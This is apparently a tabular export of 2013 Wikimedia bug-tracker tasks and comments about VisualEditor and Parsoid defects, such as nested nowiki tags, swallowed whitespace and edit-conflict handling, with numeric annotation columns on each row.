+241901,VisualEditor: Save dialog behaves as partial modal,"Oh, and you can select and copy and paste text from the disabled edit surface, when the save dialog is open.",,,1373232552,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-qrgadp2mt3qhvw2auoa4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+52835,Nested <nowiki>s considered harmful,"Sometimes Parsoid will wrap a <nowiki> around an existing <nowiki>; this is generally a bad idea, even if we have dirtied the reference in VisualEditor. :-)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/w/index.php?title=Your_Face_Sounds_Familiar_%28UK_TV_series%29&diff=562149606&oldid=562149387",Needs Triage,90.0,1373055060,1373314749.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_description,resolved,True,c1,3,True,False,True,0,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+237831,Nested <nowiki>s considered harmful,*** Bug 50724 has been marked as a duplicate of this bug. ***,,,1373637242,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+237825,Nested <nowiki>s considered harmful,"Change 72971 merged by jenkins-bot:
+Try #2: (Bug 50835) Dont nowiki escape already escaped tpl params
+
+https://gerrit.wikimedia.org/r/72971",,,1373473754,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237819,Nested <nowiki>s considered harmful,"Change 72971 had a related patch set uploaded by Subramanya Sastry:
+Try #2: (Bug 50835) Dont nowiki escape already escaped tpl params
+
+https://gerrit.wikimedia.org/r/72971",,,1373470917,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237815,Nested <nowiki>s considered harmful,"Change 72230 merged by jenkins-bot:
+(Bug 50835) Dont nowiki escape already escaped template params
+
+https://gerrit.wikimedia.org/r/72230",,,1373307265,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237811,Nested <nowiki>s considered harmful,"Change 72230 had a related patch set uploaded by Subramanya Sastry:
+(Bug 50835) Dont nowiki escape already escaped template params
+
+https://gerrit.wikimedia.org/r/72230",,,1373065523,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52828,VisualEditor: edits fail on hitting the abuse filter (with a cryptic error message),"If a user triggers the abusefilter through the VE, they're informed ""'''Error:''' The modification you tried to make was aborted by an extension hook"".
+
+Probably not helpful.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373053920,1373054299.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wob6rhplaqtaaqqwjmgd,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+237369,VisualEditor: edits fail on hitting the abuse filter (with a cryptic error message),"
+
+*** This bug has been marked as a duplicate of bug 50472 ***",,,1373054299,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-wob6rhplaqtaaqqwjmgd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52817,Keyboard shortcut for editing source,"With VisualEditor enabled the shortcut alt+shift+e no longer works, which previously opened the ""edit source"" page.  Considering many users work without a mouse on a laptop, it would be beneficial to have this enabled.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373048100,1373077734.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-gqozvzrj5ka3lgyouwvn,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+236795,Keyboard shortcut for editing source,"Sorry about this; we fixed this just a few hours ago. Merging with the other report.
+
+*** This bug has been marked as a duplicate of bug 50725 ***",,,1373077734,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqozvzrj5ka3lgyouwvn,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+52797,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"Try removing the whitespace at the top of https://en.wikipedia.org/wiki/Burr%E2%80%93Hamilton_duel and see what happens.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://parsoid.wmflabs.org/en/User:Jdforrester_(WMF)/Bug_50797?oldid=564303673",Needs Triage,90.0,1373026620,1376618868.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_description,declined,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+235665,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"http://en.wikipedia.org/w/index.php?title=Burr%E2%80%93Hamilton_duel&oldid=561095260&veaction=edit shows the whitespace, and it also seems to be possible to delete a line there by focusing it and pressing 'delete'. Newlines that don't produce a paragraph are also preserved in HTML, but are not editable in wikitext.
+
+See the source of http://parsoid.wmflabs.org/en/Burr%E2%80%93Hamilton_duel?oldid=561095260, in which the first paragraph after the infobox starts with ""<p><br>"".
+
+Closing as worksforme. Please open a bug against VE if you have trouble with focusing or deleting the <br>.",,,1376618868,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+235659,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"So, to understand this bug - this is about where is some (mistaken/wrong) wikitext with an extra new line in front of a block template that gets swallowed by Parsoid into the template that follows it (but can't be removed from there as Parsoid quietly hides that)?
+
+(Note that the second extra whitespace is a normal <br> and so shown in VisualEditor as a ""↵"" and can be removed in-line.)",,,1373854399,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+235651,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"Permanent link to the relevant page revision:
+
+http://en.wikipedia.org/w/index.php?title=Burr%E2%80%93Hamilton_duel&oldid=561095260",,,1373145121,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+235644,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"This is NOT a duplicate of 47790
+
+This bug is about whitespace in the SOURCE, that is not editable in the VE. Where 47790 deals about whitespace in VE that is not in the source.
+
+If you look at https://en.wikipedia.org/wiki/Burr–Hamilton_duel you will see that the first line is slightly below the infobox. In VE mode, https://en.wikipedia.org/wiki/Burr–Hamilton_duel?veaction=edit they look to be at the same height. The linebreaks at the top of the source seem to have been 'compressed' and are ignored in VE, while they do have effect in render mode.",,,1373102850,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+235635,Whitespace immediately before a template at the start of the page is swallowed and so unremoveable,"
+
+*** This bug has been marked as a duplicate of bug 47790 ***",,,1373046915,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vjvfdsbkvnnffz3rb6r3,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52766,VisualEditor: VE's determination of image size should hook into user preferences,"We very deliberately have user-specific preferences for default image sizing, rather than specify a fixed size in each article - it compensates for varying screen sizes. The VE isn't factoring default size preferences into account.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372966680,1372966971.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-6yatmdhnokanuospfimc,task_description,resolved,True,c1,3,False,False,True,0,,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+233785,VisualEditor: VE's determination of image size should hook into user preferences,Related to bug 47804 too.,,,1372967030,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-6yatmdhnokanuospfimc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+233780,VisualEditor: VE's determination of image size should hook into user preferences,"
+
+*** This bug has been marked as a duplicate of bug 50379 ***",,,1372966971,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-6yatmdhnokanuospfimc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52753,VisualEditor: edit conflict handling,"In the case of an edit conflict, the structure of the VE means that the common workaround (taking discrete wikimarkup changes, copying them, opening the newly revised article, pasting them in) doesn't work. What's the plan to handle ECs in the VE?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372954140,1372956245.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-rlgq63dcwusayyjqcpor,task_description,invalid,True,c1,3,False,False,True,0,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+233036,VisualEditor: edit conflict handling,"(In reply to comment #0)
+> In the case of an edit conflict, the structure of the VE means that the
+> common workaround (taking discrete wikimarkup changes, copying them, opening
+> the newly revised article, pasting them in) doesn't work. What's the plan to
+> handle ECs in the VE?
+
+What do you mean, 'plan'? Have you not encountered one yet? It works very simply: on saving, you get a message like ""Sorry, the page couldn't be saved because of an edit conflict. Click here to resolve manually"" and then takes you to the normal wikitext edit conflict page, with the wikitext of your new version below and the new current version above, as always.
+
+It's been this way for months. There are enough bugs filed without adding ones. :-)",,,1372956245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rlgq63dcwusayyjqcpor,task_subcomment,,True,c1,3,True,,,0,,0,0,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+52744,"VisualEditor: Once a user has inserted a new transclusion, offer to add another","Copied from English Wikipedia:
+
+When I've added one template using the transclusion icon, please offer me a button which says ""Add another template"", rather than insisting I click on various totally non-intuitive bits of the window to achieve this! I've just managed to add two separate stub templates, but it was still an uphill struggle. PamD 07:32, 4 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1372942020,1383280851.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-5oldmu57nfk4gdllhb7z,task_description,declined,True,c1,3,False,False,False,0,,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+232406,"VisualEditor: Once a user has inserted a new transclusion, offer to add another","Re-worded the summary; I don't think that this is a route we want to go, so marking as a WONTFIX.",,,1383280851,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5oldmu57nfk4gdllhb7z,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+232400,"VisualEditor: Once a user has inserted a new transclusion, offer to add another","Maggie: Feel free to drop ""Enhancement request:"" from the report summary and to set severity to ""enhancement"" instead. Thanks. :)",,,1372949758,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-5oldmu57nfk4gdllhb7z,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+52738,VisualEditor: Template inspector's parameter display causes smushing,"See https://en.wikipedia.org/wiki/File:VisualEditor_-_Cite_template_layout_issue_%28TemplateData%29.png - Firefox 22, Monobook.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372937460,1372937527.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-qrcwbd4n7nqvsvfbykcb,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+232107,VisualEditor: Template inspector's parameter display causes smushing,"
+
+%%%*** This bug has been marked as a duplicate of bug 50728 ***%%%",,,1372937527,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-qrcwbd4n7nqvsvfbykcb,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+52737,VisualEditor: not showing new categories on reload,"If you add categories to a page and save, the newly-loaded version does not include the new additions.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372937340,1373556875.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ltzaf5hgb6yn3qi7gdwt,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+232077,VisualEditor: not showing new categories on reload,"Yeah, this would be a good one to fix; merging with duplicate.
+
+*** This bug has been marked as a duplicate of bug 48560 ***",,,1373556875,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltzaf5hgb6yn3qi7gdwt,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+232073,VisualEditor: not showing new categories on reload,"An additional note about this on English Wikipedia, with the sensible suggestion that editors are likely to think they have done something wrong when they save the page and their changes do not appear to have worked.",,,1373556265,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ltzaf5hgb6yn3qi7gdwt,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+52724,<nowiki> added to existing <nowiki> content,"This edit:
+
+https://en.wikipedia.org/w/index.php?title=Percy_Jackson:_Sea_of_Monsters&diff=562794756&oldid=562792500
+
+is an example of a dirty diff where VisualEditor/Parsoid appears to have wrapped <nowiki> tags around existing <nowiki> content (in this case the ""|"" symbol in the title of a cited website) inside a template inside a reference.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372923600,1373637242.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-w3w62aq46ybywp76vzom,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+231259,<nowiki> added to existing <nowiki> content,"
+
+*** This bug has been marked as a duplicate of bug 50835 ***",,,1373637242,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w3w62aq46ybywp76vzom,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+231256,<nowiki> added to existing <nowiki> content,"Other example:
+http://en.wikipedia.org/w/index.php?title=Beximco&diff=562685500&oldid=562676888",,,1372955926,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-w3w62aq46ybywp76vzom,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+52709,VisualEditor: alt text?,"I can't seem to find a way to add alt text to images, which is pretty important from an accessibility POV. Any mechanism I'm missing?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372897260,1372900959.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xjgn5e55ct4mrwoaox2n,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+255304,VisualEditor: alt text?,"
+
+*** This bug has been marked as a duplicate of bug 38129 ***",,,1372900959,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xjgn5e55ct4mrwoaox2n,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52684,Template auto-filled with wikitext on edit,"This came from the VisualEditor feedback page in Hebrew. I couldn't replicate, but the problem is evident in this diff:
+
+http://he.wikipedia.org/w/index.php?title=%D7%A2%D7%96%D7%99_%D7%90%D7%99%D7%96%D7%91%D7%99%D7%A6%D7%A7%D7%99&diff=14341709&oldid=14341704
+
+The user only changed the link at line 20 (blue, left) but VE seemed to have injected a bunch of wikitext into the template box above.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372875720,1376511764.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-q6dmhbtud5dlan7xkm5f,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+253910,Template auto-filled with wikitext on edit,"After talking to gwicke, this seems to be a temporary bug either related to some caching problem or an issue that was resolved, since it cannot be replicated and a lot of other updates were done that fixed related problems.
+
+Closed as likely fixed.",,,1376511764,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-q6dmhbtud5dlan7xkm5f,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+253904,Template auto-filled with wikitext on edit,"I couldnt reproduce it on
+https://he.wikipedia.org/wiki/User:John_Vandenberg/test
+
